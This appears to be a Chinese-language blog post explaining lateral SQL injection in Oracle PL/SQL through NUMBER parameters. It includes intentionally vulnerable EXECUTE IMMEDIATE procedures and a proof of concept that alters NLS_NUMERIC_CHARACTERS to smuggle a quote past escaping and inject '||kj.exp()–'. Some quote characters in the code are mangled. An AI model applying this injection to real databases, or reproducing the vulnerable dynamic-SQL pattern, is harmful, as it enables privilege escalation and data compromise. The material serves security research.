如果直接執行SQL語句或者參數綁定則不用擔心太多,
如以下ORACLE存儲過程
create or replace procedure kjdatepoc(date d)
as
begin
insert into kjdatetable values(d);
commit;
end;
根本不需要擔心遭受到SQL新型注入攻擊,那麼在什麼地方會發生DATE 以及 NUMBER的注入攻擊呢!?一般都是采用了動態SQL而又不采用參數綁定的語句。
例如工程師經常用的DBMS_SQL或者EXECUTE IMMEDIATE
看以下存儲過程
create or replace procedure kjdatepoc(date d)
as
begin
execute immediate ‘insert into kjdatetable values('|| d ||')';
commit;
end;
那麼遇到以上的存儲過程或者函數等,也通過修改SESSION中的NLS_DATE_FORMAT中的值達到SQL注射的目的,
老外的PAPER講解得非常詳細了 ,我在這裡也不廢話。
惟獨對於 NUMBER類型的注射沒有多作講解 只是簡單演示了可以輸出單引號!
看以下語句
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;
輸出一下結果
1000′10001
只是多了一個單引號,那有什麼用呢?樂觀的來說!在特定情況下是很有價值的!看以下一個存儲過程
create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)
is
SecStr varchar2(1000);
begin
SecStr:=replace(kjexpstr,””,”””);
sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name=”'||SecStr||””);
end;
內部對varchar類型進行替換了!我們可以進行測試
begin
numinjpoc(1000,”'–');
end;
其輸出SQL語句為
SELECT * FROM DUAL WHERE ID=1000 and name=”'–'
單引號被轉義掉了
那麼如果我們結合這個NUMBER類型怎麼進行注射呢?
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
begin
numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');
end;
看看輸出結果
SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()–'
這樣就可以間接的攻擊它…
在某中程度才來需要ALTER SESSION 配合後,再去攻擊系統內部的一些函數或者過程來提升權限。未嘗不是一種好的突破思路,但是對於單語句進行SQL注射攻擊,以結果為向導的話!這樣的方式沒多大作為。